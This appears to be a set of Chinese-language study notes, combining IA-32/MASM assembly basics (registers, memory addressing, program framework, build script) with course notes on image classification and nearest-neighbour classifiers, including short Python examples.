- 段基地址:由代码段寄存器CS保存
- 偏移地址:由指令指针寄存器EIP保存
堆栈段的当前栈顶地址
- 段基地址:堆栈段寄存器SS保存
- 堆栈指针寄存器ESP保存
数据段的操作数地址
- 段基地址:数据段寄存器DS指示,有时候也用ES,FS,GS指示
- 偏移地址:没有专门的寄存器,由存储器寻址方式计算出的有效地址EA指示
编程采用的逻辑地址为 段基地址:偏移地址 的组合
- 段基地址:在主存中的起始地址
- 偏移地址:距离段基地址的便宜量
Info

总结
寄存器分为不可编程的 透明寄存器 和 可编程寄存器 ,可编程寄存器又可以进行分类
| 分类 | 类型 | 寄存器 |
|---|---|---|
| 通用寄存器 | 32位通用寄存器 | EAX EBX ECX EDX ESI EDI EBP ESP |
| 16位通用寄存器 | AX BX CX DX SI DI BP SP | |
| 8位通用寄存器 | AH AL BH BL CH CL DH DL | |
| 专用寄存器 | 标志寄存器 | EFLAGS |
| 指令指针寄存器 | EIP | |
| 段寄存器 | CS DS SS ES FS GS |
存储器组织¶
计算机硬件组成结构中的主存储器容量很大,被划分为许多存储单元,每个存储单元被编排一个号码,即存储单元地址,称为 存储器地址(Memory Address)
每个存储单元以字节为基本存储单位
- 即字节编址(Byte Addressable)
- 一个字节(Byte)等于8个二进制位(Bit),两个字节称为字,两个字称为双字
- IA-32有32位地址,可以访问 4GB 内存
存储器的物理地址¶
处理器连接的物理存储器使用物理地址
- 从0开始顺序编排,直到其支持的最大存储单元

存储管理单元和存储模型¶
高性能处理器集成有存储管理单元MMU,利用它进行主存储器空间管理
存储管理单元(Memory Management Unit, MMU)是计算机系统中的一个硬件组件,负责管理计算机的内存使用情况。它在CPU与物理内存(RAM)之间起到桥梁作用,主要职责有:
-
地址转换(虚拟内存到物理内存映射) 程序并不直接寻址物理存储器 MMU将程序使用的虚拟地址(逻辑地址)转换为物理地址。这种地址转换通常是通过分页(paging)或分段(segmentation)机制来实现的。每个进程在自己的虚拟地址空间中运行,这样可以使多个进程共存于系统内存中而互不干扰。
-
内存保护 MMU可以设置不同的权限(如读、写、执行)来保护内存区域,防止一个进程访问另一个进程的内存或操作系统内存,保障系统的安全性和稳定性。
-
内存分配与回收 MMU协助操作系统在程序运行时分配和释放内存。它帮助管理物理内存的分配,以确保内存高效利用并减少碎片化。
-
分页管理 MMU通过分页机制,将程序的虚拟内存划分为固定大小的块(称为页面),并将这些页面映射到物理内存的实际位置。这样可以有效地管理内存,并支持虚拟内存技术,使程序能够使用超过物理内存大小的内存空间。
-
缓存管理 在一些高级系统中,MMU也参与管理CPU缓存(如L1、L2缓存)与内存之间的数据交换。它确定哪些数据应该留在缓存中以提高访问速度。
-
异常处理 当程序试图访问无效的地址(如没有映射到物理内存的虚拟地址)时,MMU会产生一个异常(通常称为页面错误或缺页中断),通知操作系统处理这个情况,如分配新的内存页或从磁盘加载需要的数据。
IA-32 处理器的存储模型
- 平展存储模型(Flat Memory Model):存储器是一个连续的4GB线性地址空间
- 段式存储模型(Segmented Memory Model)
- 存储器由一组独立的地址空间组成:段(Segment)
- 每个段都可以达到4GB
- 实地址存储模型(Real-address Memory Model)
- 8086处理器的存储模型(最大1MB)
- 段式存储模型的特例(段最大64KB)
Example
存储器空间可以分段管理,采用逻辑地址指示
举个例子,有一幢楼,3层,每一层有10个房间,首先我们从第一层01开始编号到最后一个房间30
对于第二层第五个房间,物理地址是绝对地址:15,但是为了方便,它被称为205,这就是它的逻辑地址(相对地址)
三大地址的关系
程序员编程时采用逻辑地址,操作系统利用存储管理单元MMU将逻辑地址映射成线性地址(虚拟地址),处理器使用物理地址访问主存储器芯片
逻辑地址(Logical Address)
- 定义: 逻辑地址是程序员在编写程序时使用的地址,由CPU在执行程序时生成。
- 特点: 逻辑地址是相对于程序的起始地址的偏移量,与实际的物理内存位置无关。
- 别名: 逻辑地址也被称为 虚拟地址(Virtual Address) 。在每个进程的上下文中,逻辑地址是唯一的。
- 使用: 逻辑地址是在程序代码中使用的,比如指针或数组索引。它们是由编译器生成的,并且不会直接对应到物理内存的具体位置。
线性地址(Linear Address)
- 定义: 线性地址是将逻辑地址转换成物理地址之前的一个中间地址。它是经过分段(segmentation)计算后的地址。
- 特点: 线性地址是通过把逻辑地址和段寄存器(如CS、DS等)中的段基址相加得到的。
- 使用: 在有些体系结构中,线性地址可能直接等于物理地址(如无分页机制的情况下),但是在大多数现代处理器中,线性地址通过分页机制进一步转换为物理地址。
物理地址(Physical Address)
- 定义: 物理地址是内存单元在计算机实际物理内存(RAM)中的位置。它是CPU最终使用的实际地址。
- 特点: 物理地址由线性地址经过分页(paging)机制转换而来,是指向实际内存芯片的地址。
-
使用: 物理地址是由内存控制器使用的,用于访问实际的物理内存位置。
-
逻辑地址到线性地址的转换(分段):
-
逻辑地址由程序生成,分为段选择器和段内偏移量。段选择器指向内存段描述符(存储在段寄存器中),而偏移量指向段内的具体位置。
- MMU使用段选择器查找段基址,然后将段基址与偏移量相加,生成线性地址。
- 公式:
$$ \text{线性地址} = \text{段基址} + \text{逻辑地址中的偏移量} $$
-
线性地址到物理地址的转换(分页):
-
线性地址进一步通过分页机制转换为物理地址。分页机制将线性地址划分为多个固定大小的页面,线性地址中的页号部分用于查找页表(Page Table),得到物理页帧号。
- 线性地址的页内偏移量部分与物理页帧号组合形成物理地址。
- 公式:
$$ \text{物理地址} = \text{物理页帧号} + \text{页内偏移量}$$
- 逻辑地址 是程序员或编译器使用的地址,描述的是虚拟内存中的位置。
- 线性地址 是经过分段机制转换后的地址,是逻辑地址与段基址之和。
- 物理地址 是存储器中实际访问的位置,由线性地址经过分页机制转换得到。
汇编程序格式¶
约 3089 个字 83 行代码 2 张图片 预计阅读时间 12 分钟
处理器指令格式¶
程序由程序设计语言编写,由 指令 构成,指令 由 操作码 和 操作数(地址码) 构成,操作码(Opcode) 表明处理器执行的操作, 操作数(Oprand) 是参与操作的数据对象
最基本的数据传送指令--MOV(move)
传送指令的助记符:MOV
类似于高级语言的赋值语句,将数据从一个位置 传送 到另一个位置
例如
src为源操作数,是被传送的数据或者数据所在的位置
dest为目的操作数,是数据将要传送到的位置
IA-32 处理器采用可变长度指令格式
-
操作码
- 可选的指令前缀(用于扩展指令功能,一般0至4字节
- 1至3字节的主要操作码
-
操作数
- 可选的寻址方式域
- 可选的位移量
- 可选的立即数
Example


汇编语言语句格式¶
源程序由语句组成,通常一个语句占一行,一个语句不超过132个字符,4个部分
语句的种类
执行性语句 :表达处理器指令,实现功能,格式为
标号: 硬指令助记符 操作数,操作数 ;注释
说明性语句 : 表达伪指令,控制汇编方式 格式为
名字 伪指令助记符 参数,参数,... ;注释
在汇编语言中,标号(Label)和 名字(Name)都是用于标识特定内存位置、代码段或数据的符号。
1. 标号(Label)¶
标号 通常用于标记代码中的特定位置,通常是处理器指令的逻辑地址。指示分支,循环等程序的目的地址。标号在汇编程序中有两个主要用途:
-
跳转目标 :标号常用于控制程序的流,例如条件跳转(
JMP、JE、JNE等)或循环结构中,标号表示目标地址,指明程序应跳转到的特定位置。 -
函数或过程的入口 :标号也常用于标记一个函数或过程的起始地址,以便程序能够正确调用。
2. 名字(Name)¶
名字 通常用于数据段中,表示变量、常量或其他数据元素的名称。名字便于程序员在编写代码时识别和引用这些数据。
- 数据定义 :名字用于在数据段中定义和标识数据项。
- 指针或偏移量 :名字可用来表示特定数据项在内存中的位置或偏移量,以便在程序中引用。
Example
语法:
例如:
- 标号 用于标识代码位置(如跳转目标)。
- 名字 用于标识数据(如变量、常量)。
标识符¶
标号和名字都属于标识符,标识符由程序员自己定义,跟高级语言中的变量定义类似,不能以数字开头,一个源程序中,用户定义的每个标识符必须唯一,也不能是保留字(reserve word)
保留字
保留字(Reserved Word)是汇编语言(以及大多数编程语言)中具有特殊意义的单词。这些单词被编译器或汇编器预先定义和保留,不能用作用户自定义的标识符(如变量名、标号或函数名),因为它们已经用于特定的语法结构或操作
在汇编语言中,常见的保留字有以下几种类型:
指令操作码:用于表示具体的处理器指令,如:
MOV、ADD、SUB、MUL、DIV、JMP、CMP、CALL、RET 等。
伪指令(汇编指令):用于指示汇编器在汇编过程中执行的操作,不直接生成机器指令,如:
DB(Define Byte)、DW(Define Word)、DD(Define Double Word)、ORG(Origin)、END(End of Program)、EQU(Equate)等。
寄存器名:用于表示处理器内部的寄存器,如:
EAX、EBX、ECX、EDX(通用寄存器)、CS、DS、SS、ES(段寄存器)等。
数据类型:用于表示数据的类型或大小,如:
BYTE、WORD、DWORD、QWORD、TBYTE 等。
条件码和控制结构:用于程序流程控制,如:
IF、ELSE、ENDIF、LOOP、WHILE、BREAK 等。
助记符¶
助记符是帮助记忆指令功能的符号,主要分硬指令助记符和软指令助记符
在汇编语言中,硬指令助记符(也称为 机器指令助记符 )和 软指令助记符 (也称为 伪指令助记符 )是两种不同类型的指令,它们用于不同的目的。
硬指令助记符(机器指令助记符)¶
硬指令助记符 (Machine Instruction Mnemonics)是直接对应于处理器支持的机器语言指令的汇编语言符号。每一个硬指令助记符表示一条由处理器硬件直接执行的具体操作。硬指令助记符是汇编语言的核心部分,它们被翻译成机器码,直接由计算机的 CPU 执行。
特点
- 直接映射到机器代码:硬指令助记符是汇编程序中最接近硬件的部分,直接对应于 CPU 指令集。
- 被处理器直接执行:这些指令是硬件支持的,可以被 CPU 直接执行。
- 执行特定的操作:如数据传送、算术操作、逻辑操作、跳转、函数调用等。
常见的硬指令助记符
- 数据传送指令:
MOV、PUSH、POP等。 - 算术指令:
ADD、SUB、MUL、DIV等。 - 逻辑指令:
AND、OR、XOR、NOT等。 - 控制流指令:
JMP、JE、JNE、CALL、RET等。
Example
软指令助记符(伪指令助记符)¶
软指令助记符 (Pseudo-Instruction Mnemonics)或 伪指令(Pseudo-Instructions)并不是处理器的真实指令。它们是汇编器理解和执行的特殊指令,用来辅助程序开发和编译过程,如定义数据、分配存储、设置程序位置等。这些指令在汇编过程中执行,不会被翻译成机器代码。
特点
- 不对应机器代码 :软指令助记符是汇编器在汇编时使用的指令,不会被转换为直接的机器指令。
- 用于编译控制 :这些指令帮助控制汇编过程,比如定义常量、变量、内存布局等。
- 用于结构化编程 :定义宏、设置条件编译等。
常见的软指令助记符
- 数据定义指令:
DB(Define Byte)、DW(Define Word)、DD(Define Double Word)等。 - 编译控制指令:
ORG(Origin,设置代码的起始地址)、END(结束程序)等。 - 宏定义和使用指令:
MACRO、ENDM等。 - 条件编译指令:
IF、ELSE、ENDIF等。
Example
操作数和参数
操作数 :表示参与操作的对象,跟在处理器指令后面
参数 :伪指令的参数,可以有多个,参数之间用逗号分隔
汇编程序基本框架¶
需要注意的地方
不同汇编语言,不同汇编器,其结构和语法有所不同,我学习的是基于 MASM 的 IA-32 汇编语言
在使用 MASM(Microsoft Macro Assembler)编写 IA-32 汇编语言程序时,我们通常会遵循一个标准的程序框架。MASM 是微软提供的汇编器,主要用于 Windows 平台,因此其语法和结构会更贴近 Windows 的程序编写风格。MASM 提供了许多宏和指令来简化编写汇编程序的过程。
基于 MASM 的 IA-32 汇编语言程序框架¶
一个典型的 MASM 程序框架通常包括以下部分:
- 数据段(.data):定义程序中的已初始化数据(如常量、字符串、变量等)。
- 代码段(.code):包含程序的指令(实际操作代码)。
- 栈段(.stack):定义程序运行时使用的堆栈空间(通常为可选项)。
- 入口点(main 或 start):程序的入口点,通常通过
main或start标签来定义。 - 结束指令(END):指示程序的结束点。
示例:基于 MASM 的 IA-32 汇编程序框架
; eg0101.asm - 程序名称
include io32.inc ; 包含头文件 io32.inc
.data ; 数据段
msg byte 'Hello, Assembly!', 13, 10, 0 ; 定义一个字符串变量 msg,以回车(13)、换行(10)和结束符(0)结尾
.code ; 代码段
start: ; 程序执行起始位置
mov eax, offset msg ; 将 msg 的地址载入 eax 寄存器
call dispmsg ; 调用 dispmsg 函数,显示消息
exit 0 ; 正常退出程序
end start ; 程序结束,指定入口点为 start
程序解释
-
include io32.inc: 包含一个名为io32.inc的头文件,该文件包含常用的宏、函数声明或输入输出例程。例如,这里使用的dispmsg函数在io32.inc中定义的,用来在屏幕上显示字符串。 -
.data段: 数据段,用于定义数据(如变量、常量、字符串等)。在这里,定义了一个字符串msg,内容为 "Hello, Assembly!",后面跟着回车(13)、换行(10)和字符串结束符(0)。 -
.code段: 代码段,包含程序的指令部分。程序从start标签开始执行。mov eax, offset msg: 将字符串msg的地址载入EAX寄存器。call dispmsg: 调用dispmsg函数,将msg的内容显示在屏幕上。exit 0: 正常退出程序,返回码为0。
-
end start: 告诉汇编器程序的结束,并指定程序从start标签开始
io32.inc
.nolist
;filename: io32.inc
;A include file used with io32.lib for Windows Console
.686
.model flat,stdcall
option casemap:none
includelib bin\kernel32.lib
ExitProcess proto,:DWORD
exit MACRO dwexitcode
invoke ExitProcess,dwexitcode
ENDM
;declare procedures for inputting and outputting charactor or string
extern readc:near,readmsg:near
extern dispc:near,dispmsg:near,dispcrlf:near
;declare procedures for inputting and outputting binary number
extern readbb:near,readbw:near,readbd:near
extern dispbb:near,dispbw:near,dispbd:near
;declare procedures for inputting and outputting hexadecimal number
extern readhb:near,readhw:near,readhd:near
extern disphb:near,disphw:near,disphd:near
;declare procedures for inputting and outputting unsigned integer number
extern readuib:near,readuiw:near,readuid:near
extern dispuib:near,dispuiw:near,dispuid:near
;declare procedures for inputting and outputting signed integer number
extern readsib:near,readsiw:near,readsid:near
extern dispsib:near,dispsiw:near,dispsid:near
;declare procedures for outputting registers
extern disprb:near,disprw:near,disprd:near,disprf:near
;declare I/O libraries
includelib io32.lib
.list
-
汇编选项设置:
.686: 指定使用 686 指令集(Pentium Pro 及以上)。.model flat,stdcall: 使用平坦内存模型和stdcall调用约定。option casemap:none: 禁用大小写映射,使得标识符是大小写敏感的。
-
库引用:
includelib bin\kernel32.lib: 引入 Windows API 的kernel32.lib库,该库包含常见的系统调用(如ExitProcess)。
-
宏定义:
exit MACRO dwexitcode: 定义了一个名为exit的宏,用于调用ExitProcess函数退出程序。- 该宏可以简化退出程序的代码,使得在程序中调用
exit宏时,可以直接传递一个退出代码。
-
外部函数声明:
extern声明:这些声明告诉汇编器,这些函数在其他地方定义(例如io32.lib库中),并且它们是near类型(即在相同的段中)。这些函数包括:- 字符或字符串的输入/输出:
readc、readmsg:用于读取字符或字符串。dispc、dispmsg、dispcrlf:用于显示字符、字符串和换行符。
- 二进制数的输入/输出:
readbb、readbw、readbd:用于读取字节、字和双字的二进制数。dispbb、dispbw、dispbd:用于显示字节、字和双字的二进制数。
- 十六进制数的输入/输出:
readhb、readhw、readhd:用于读取字节、字和双字的十六进制数。disphb、disphw、disphd:用于显示字节、字和双字的十六进制数。
- 无符号整数的输入/输出:
readuib、readuiw、readuid:用于读取字节、字和双字的无符号整数。dispuib、dispuiw、dispuid:用于显示字节、字和双字的无符号整数。
- 有符号整数的输入/输出:
readsib、readsiw、readsid:用于读取字节、字和双字的有符号整数。dispsib、dispsiw、dispsid:用于显示字节、字和双字的有符号整数。
- 寄存器的输出:
disprb、disprw、disprd、disprf:用于显示寄存器的值。
-
库文件包含:
includelib io32.lib: 包含io32.lib库文件,这个库文件实际上实现了这些extern声明的输入/输出函数。
用于一键运行的make文件
@echo off
REM make32.bat, for assembling and linking 32-bit Console programs (.EXE)
BIN\ML /c /coff /Fl /Zi %1.asm
if errorlevel 1 goto terminate
BIN\LINK32 /subsystem:console /debug %1.obj
if errorlevel 1 goto terminate
DIR %1.*
:terminate
@echo on
- 关闭命令回显,使批处理文件的命令不显示在控制台窗口中(除了显式打开回显的部分)。
REM是批处理文件中的注释命令,说明文件的用途:用于汇编和链接32位控制台程序。
- 调用
ML(Microsoft Macro Assembler)进行汇编:/c:只汇编,不链接。/coff:生成COFF(通用目标文件格式)。/Fl:生成源代码列表文件。/Zi:生成用于调试的完整符号信息。%1.asm:表示命令行传递的第一个参数,即汇编源文件的名称。
errorlevel) 是否大于或等于1(表示错误)。如果是,跳转到 :terminate 标签,结束批处理。
- 调用
LINK32(Microsoft 32-bit Linker)进行链接:/subsystem:console:指定子系统为控制台应用程序。/debug:生成调试信息。%1.obj:表示由上一条汇编命令生成的目标文件。
- 再次检查错误码。如果链接命令返回错误,跳转到
:terminate结束。
- 列出指定文件(如生成的可执行文件和其他相关文件)的详细信息。
:terminate是批处理文件的标签,表示一个跳转目标。@echo on打开命令回显。
这个批处理文件的作用是自动化汇编源代码并将其链接成32位的可执行程序,同时提供调试信息。批处理文件会在任一阶段(汇编或链接)发生错误时停止执行。
数据表示¶
约 1635 个字 25 行代码 3 张图片 预计阅读时间 6 分钟
常量表达¶
常量是程序使用的一个确定的数值,在汇编阶段就可以确定,直接编码于指令代码中,而不是保存在存储器中可变的变量
汇编语言支持多种常量的表达形式
常数¶
多种进制的表达:以后缀字母来区分(D,H,B分别对应10,16,2进制),10进制数可以不加,对于以字母A~F开头的十六进制常数,要加前导的0 以便于区分字母开头的标识符(AH是八位寄存器,0Ah是16进制数)
Example
| 十进制数 | 100,255D |
|---|---|
| 十六进制数 | 64H,0FFH |
| 二进制数 | 01101100b |
字符和字符串¶
用''或者""括起来的多个字符 ,每个字符的数值是对应的ASCII码值
Note
单引号,双引号没有什么区别,字符和字符串也没有什么本质上的区别
符号常量¶
允许使用标识符来表达一个数值,在高级程序设计语言中,=用于变量的定义,而在汇编语言中=用来定义符号常量,例如
Zero出现的位置都会被0替代
数值表达式¶
用运算符连结各种常量构成数据表达式,常用的算术运算符有加减乘除等,如果是地址表达式,那么只能加减,表示地址移动的若干的字节存储单元
变量定义¶
什么是变量
随程序运行会发生变化的数据,保存在可读可写的主存空间中,变量的实质是主存单元的数据,因而可以改变,变量需要事先定义才能使用,变量具有属性,方便应用
定义变量的格式
一般格式为
-
变量名:用户定义的标识符,需要满足定义标识符规则,表示首元素的逻辑地址,便于直接访问,但是,没有变量名并不影响变量的定义
-
伪指令助记符:例如
byte,word,dword,表示变量类型 -
初值表是用逗号分隔的一个或者多个参数,表示变量的初值(汇编中一个变量可以有多个变量值,类似于C语言中的数组)
- 可以是各种形式的常量
- 使用
?来表示初值不确定,即未赋初值,一半会存储为0 - 使用复制操作符
DUP来表示多个同样的数值重复次数 DUP(需要重复的参数)
主要的变量定义伪指令
BYTE:字节类型,分配一个或者多个字节单元,每个数据是8位字节量,对应C语言中的char类型。
WORD:字类型,分配一个或者多个字单元,每个数据是16位字量,对应C语言中的short类型。
DWORD:双字类型,分配一个或者多个双字单元,每个数据是32位双字量对应C语言中的long类型。
8位变量的定义¶
可以定义:
- 8位的无符号整数(0~255)
- 8位补码表示的有符号整数-128~+127
- 一个字符(ASCII码值)
- 压缩BCD码0~99
- 非压缩BCD码0~9
Example
bvar1是首元素0的逻辑地址,要想访问下一个元素需要bvar1+1
其数据段为
| 7FH |
| 00H |
| 80H |
| FFH |
| 80H |
00H(bvar1指向这里) |
16位和32位变量的定义¶
16位
- 16位无符号整数(0~65535)
- 16为补码表示的有符号整数(-32768~+32767)
- 16位段地址
- 16位偏移地址
32位
- 32位无符号整数\(0 \sim 2^{32}-1\)
- 32位补码表示的有符号整数\(-2^{31} \sim 2^{31}-1\)
- 32位逻辑地址
Example
要想访问下一个元素,需要wvar1+2
每一个元素都使用两个字节来表示

要想访问下一个元素,需要dvar1+4
每一个元素,使用四个字节来表示

变量应用¶
多字节数据的存储顺序¶
最小的存储单位是bit,最常用的存储单位是字节(Byte),一个存储单元保存一个字节量数据,对应一个存储器地址。
小端方式(little Endian)
- 高字节数据保存在高地址存储单元
- 低字节数据保存在低地址存储单元
大端方式(Big Endian)
- 高字节数据保存在低地址存储单元
- 低字节数据保存在高地址存储单元
Info
大端存储和小端存储两个名字来自《格列佛游记》关于如何打开一个鸡蛋的争论: How to open an egg,from the little end or the big end
80x86采用小段方式存储多字节数据
三个变量在主存中的存放方式是一样的对于bvar,由低到高依次存放四个字节的数据
| 数据段 |
|---|
| 38H |
| 32H |
| 31H |
| 39H |
wvar有两种方式存储
如果是大端存储
| 数据段 |
|---|
| 32H |
| 38H |
| 31H |
| 39H |
如果是小段存储
| 数据段 |
|---|
| 38H |
| 32H |
| 31H |
| 39H |
同理,dvar也有两种方式
Warning
大端方式和小端方式存储都是合理的,不存在哪种方式更好,谁对谁错之分
变量的地址属性¶
定义后的变量名具有两类属性
- 地址属性:首个变量所在的存储单元的逻辑地址,包含 段基地址 和 偏移地址
- 类型属性:变量定义的数据单位
通过地址操作符可以获得变量的地址属性值
[] |
括起的表达式作为存储器地址指针,整个相当于取括号里的地址的值 |
$ |
返回当前的偏移地址 |
OFFSET 变量名 |
返回变量名所在段的偏移地址 |
SEG 变量名 |
返回段基地址(实地址存储模型) |
Example
;数据段
bvar byte 12h, 34h
org $+10;bvar地址为00000000,当前地址为00000002H,相当于数据段的下一个变量从当前地址+10字节再开始
array word 1, 2, 3, 4, 5, 6, 7, 8, 9, 10
wvar word 5678h
arr_size = $ - array ;计算出当前地址到array地址一共占有多少字节
arr_len = arr_size / 2;计算出一共有多少内存空间
dvar dword 9abcdef0h
;代码段
mov al, bvar;相当于[bvar]取出第一个元素12H送到al
mov ah, bvar + 1;取出第二个,类似于数组的操作
mov bx, wvar[2];从wvar开始再+2,指向了dvar的最低字节F0,赋给了bx
mov ecx, arr_len; 将arr_len所代表的长度11传给ecx
mov edx, $ ; 将当前的(指令)地址传给edx,即代码段地址+偏移地址
mov esi, offset dvar;将dvar的数据段地址传递给esi,即数据段地址+22H
mov edi, [esi];将esi的值作为地址取出该地址的元素,即9abcdef0h
mov ebp, dvar;9abcdef0h
变量的类型属性¶
变量的类型属性表示变量定义的数据单位,BYTE,WORD,DWORD对应的类型值为1,2,4;即其所占的字节数
类型操作符
类型名 PTR 变量名,将变量名按照指定的类型使用TYPE 变量名返回占用字节空间的字量数值LENGTHOF 变量名:返回整个变量的数据项数SIZEOF 变量名:返回整个变量所占用的字节数
Example
在上例中,若有mov eax,dword ptr array,则是将array当作双字类型访问,会把00020001H传递给eax
寻址方式¶
约 376 个字 10 行代码 1 张图片 预计阅读时间 1 分钟
指令由操作码和操作数组成,操作码是处理器要执行哪种操作,用助记符表示;操作数是指令执行的参与者,是各种操作的对象,需要通过地址指示
需要通过地址访问数据或者指令
-
数据寻址:指令执行过程中,访问所需要操作的数据(操作数)
- 立即数寻址:数据在指令代码中,用于常量表达
- 寄存器寻址:数据在寄存器中,用寄存器名表示
- 存储器寻址:数据在主存中,用存储器地址代表
- I/O寻址:数据在外设(I/O设备)中,用I/O地址代表
-
指令寻址:一条指令执行后,确定执行的下一条指令的位置
立即数寻址¶
操作数紧跟操作码,是机器码的一部分
Note
操作数从指令代码中得到,即立即数(Immediate)
例
机器码的排列方式说明是小端存储,B8 代表将一个数传递到EAX,33221100H 就是那个数
各种立即数形式
- 十六进制常数
- 字符(ASCII 码值)
- 十进制负数(补码)
- 符号常量
- 表达式
- 变量的偏移地址,标号的偏移地址,例如
Note
立即数本身没有类型,它的类型可以根据对应的寄存器或者变量类型决定
| 符号 | 含义 |
|---|---|
| i8 | 8位立即数 |
| i16 | 16为立即数 |
| i32 | 32位立即数 |
| imm | 立即数 |
计算机视觉 (Computer Vision)
Computer Vision¶
约 66 个字 预计阅读时间不到 1 分钟
学习 Deep Learning for Computer Vision Winter 2022 的笔记。
课程链接:Deep Learning for Computer Vision Winter 2022
目录:
Image Classification¶
约 1837 个字 68 行代码 12 张图片 预计阅读时间 7 分钟
Intro¶
Introduction¶
Image classification is the task of assigning an input image one label from a fixed set of categories. This is one of the core problems in Computer Vision that, despite its simplicity, has a large variety of practical applications.
Problems¶
-
Semantic Gap: the gap between low-level visual features and high-level concepts.For a particular image, what computer sees is just a big grid of numbers, and it has no idea what the image is about.
-
Viewpoint variation: A single instance of an object can be oriented in many ways with respect to the camera.When the Camera is moves,all the pixels in the image will change.
-
Intra-class variation: Objects of the same class can look quite different in terms of their appearance.
- Fine-Grained Categories: Distinguishing between different fine-grained categories, such as dog breeds.
- Background clutter: The presence of other objects in the scene.
- Illumination: The effects of illumination on the pixel values of the image.
- Deformation: Objects can change shape.
- Occlusion: Objects can be occluded.
图像分类十分有用,例如可以用来做图片字幕
依次识别背景的蓝天,人物,马,海滩等等,可以组成一个句子“a person riding a horse on the beach under the blue sky”。
还可以用来识别棋盘然后下棋......
A Image Classifier may look like this:
Unlike sorting a list of numbers,there is no obvious way to hard-code the algorithm for recognizing objects in images.
Machine Learning is a Data-Driven Approach.
- Collect a dataset of images and labels.
- Use Machine Learning to train a classifier.
- Evaluate the classifier on a new image.
Eg.MNIST is a dataset of handwritten digits.
- 10 classes (one for each of the 10 digits).
- 00,000 training images and 10,000 test images.
- Regarded as the "Drosophila" of Computer Vision.
EG.CIFAR-10 is another popular dataset. This dataset consists of 60,000 tiny images that are 32 pixels high and wide. Each image is labeled with one of 10 classes (for example “airplane, automobile, bird, etc”). These 60,000 images are partitioned into a training set of 50,000 images and a test set of 10,000 images
Nearest Neighbor¶
Distance Metric to compare images
L1 distance¶
即对于每个像素点,计算两个图像对应像素点的差的绝对值,然后求和。
例如
例如,对于CIFAR-10数据集;
Xtr, Ytr, Xte, Yte = load_CIFAR10('data/cifar10/') # a magic function we provide
# flatten out all images to be one-dimensional
Xtr_rows = Xtr.reshape(Xtr.shape[0], 32 * 32 * 3) # Xtr_rows becomes 50000 x 3072
Xte_rows = Xte.reshape(Xte.shape[0], 32 * 32 * 3) # Xte_rows becomes 10000 x 3072
Xtr,Xte是训练集和测试集,Ytr,Yte是对应的标签。载入后将其拉伸为行
nn = NearestNeighbor() # create a Nearest Neighbor classifier class
nn.train(Xtr_rows, Ytr) # train the classifier on the training images and labels
Yte_predict = nn.predict(Xte_rows) # predict labels on the test images
# and now print the classification accuracy, which is the average number
# of examples that are correctly predicted (i.e. label matches)
print 'accuracy: %f' % ( np.mean(Yte_predict == Yte) )
import numpy as np
class NearestNeighbor(object):
def __init__(self):
pass
def train(self, X, y):
""" X is N x D where each row is an example. Y is 1-dimension of size N """
# the nearest neighbor classifier simply remembers all the training data
self.Xtr = X
self.ytr = y
def predict(self, X):
""" X is N x D where each row is an example we wish to predict label for """
num_test = X.shape[0]
# lets make sure that the output type matches the input type
Ypred = np.zeros(num_test, dtype = self.ytr.dtype)
# loop over all test rows
for i in range(num_test):
# find the nearest training image to the i'th test image
# using the L1 distance (sum of absolute value differences)
distances = np.sum(np.abs(self.Xtr - X[i,:]), axis = 1)
min_index = np.argmin(distances) # get the index with smallest distance
Ypred[i] = self.ytr[min_index] # predict the label of the nearest example
return Ypred
L2 distance¶
There are many other ways of computing distances between vectors. Another common choice could be to instead use the L2 distance, which has the geometric interpretation of computing the euclidean distance between two vectors. The distance takes the form:
即对于每个像素点,计算两个图像对应像素点的差的平方,然后求和,最后开根号。
在实际上的效果上,由于sqrt函数是单调递增的,即使不使用sqrt函数,也不会影响最终的结果。
L1 vs L2
-
L2距离的平方项意味着它对大差异非常敏感。例如,如果在某一维度上两个向量的差异很大,那么L2距离会显著增加。L2距离不喜欢大差异,认为大差异是很不理想的。换句话说,L2距离更“惩罚”大的误差,因为它把误差平方了。所以即使有一个维度的差异很大,L2距离也会显著增大整体距离。
-
L1距离对小差异更“宽容”:L1距离对差异的惩罚是线性的,即每个维度的差异直接相加。如果一个维度的差异特别大,它对整体距离的影响和L2距离相比就会小很多。因此,L1距离对于大的差异“宽容”一些。在某些情况下,L1距离更适用于忽略一些较小的误差,关注更明显的差异。
-
L2距离的敏感性意味着它会倾向于较小的、均匀的差异,而不太容易接受某一维度上的大差异。比如,如果两个向量在多个维度上有些许的差异,那么L2距离会认为这些小差异比一个大的差异更为“平滑”。
-
换句话说,L2距离在多个维度上拥有较小差异时,它会显示出较小的距离,即使某些维度的差异可能不那么显著;但如果某一维度的差异特别大,L2距离会非常敏感。
-
L1距离和L2距离其实是 p-norm 的两个特殊情况。p-norm的形式是:
其中,p=1 时就是 L1 范数,p=2 时就是 L2 范数。
- 这两者是最常用的p-norm度量,它们被广泛应用于机器学习、优化、图像处理等领域。
K-Nearest Neighbor¶
K-Nearest Neighbor (KNN) is a simple idea: when you want to classify an example, you compare it to all examples in your training set. Then you find the most similar examples (the nearest neighbors) and classify your example based on the majority class among the K-nearest neighbors.(Find the top k nearest neighbors and have them vote on the label)
On the figure below,points are training data, and the colors are their labels.
An example of the difference between Nearest Neighbor and a 5-Nearest Neighbor classifier, using 2-dimensional points and 3 classes (red, blue, green). The colored regions show the decision boundaries induced by the classifier with an L2 distance. The white regions show points that are ambiguously classified (i.e. class votes are tied for at least two classes). Notice that in the case of a NN classifier, outlier datapoints (e.g. green point in the middle of a cloud of blue points) create small islands of likely incorrect predictions, while the 5-NN classifier smooths over these irregularities, likely leading to better generalization on the test data (not shown). Also note that the gray regions in the 5-NN image are caused by ties in the votes among the nearest neighbors (e.g. 2 neighbors are red, next two neighbors are blue, last neighbor is green).
K-NN 方法固然很好,但是我们需要考虑K取什么值是最好的
像K-NN算法中的K这样一开始无法确定的参数,我们称之为超参数(Hyperparameters)。超参数是在开始学习过程之前设置的参数,并且不断调整来取得更好的效果。在这里,K和距离度量(L1或L2)就是超参数。
Ideas of setting hyperparameters¶
-
Choose hyperparameters that work best on the data(BAD IDEA: K = 1 always works perfectly on training data)
-
Split the data into training,and test sets(BAD IDEA:No idea how algorithm will perform on new data)
-
Spit the data into training,validation,and test sets(GOOD IDEA:Use validation set to tune hyperparameters)
Eg.
# assume we have Xtr_rows, Ytr, Xte_rows, Yte as before
# recall Xtr_rows is 50,000 x 3072 matrix
Xval_rows = Xtr_rows[:1000, :] # take first 1000 for validation
Yval = Ytr[:1000]
Xtr_rows = Xtr_rows[1000:, :] # keep last 49,000 for train
Ytr = Ytr[1000:]
# find hyperparameters that work best on the validation set
validation_accuracies = []
for k in [1, 3, 5, 10, 20, 50, 100]:
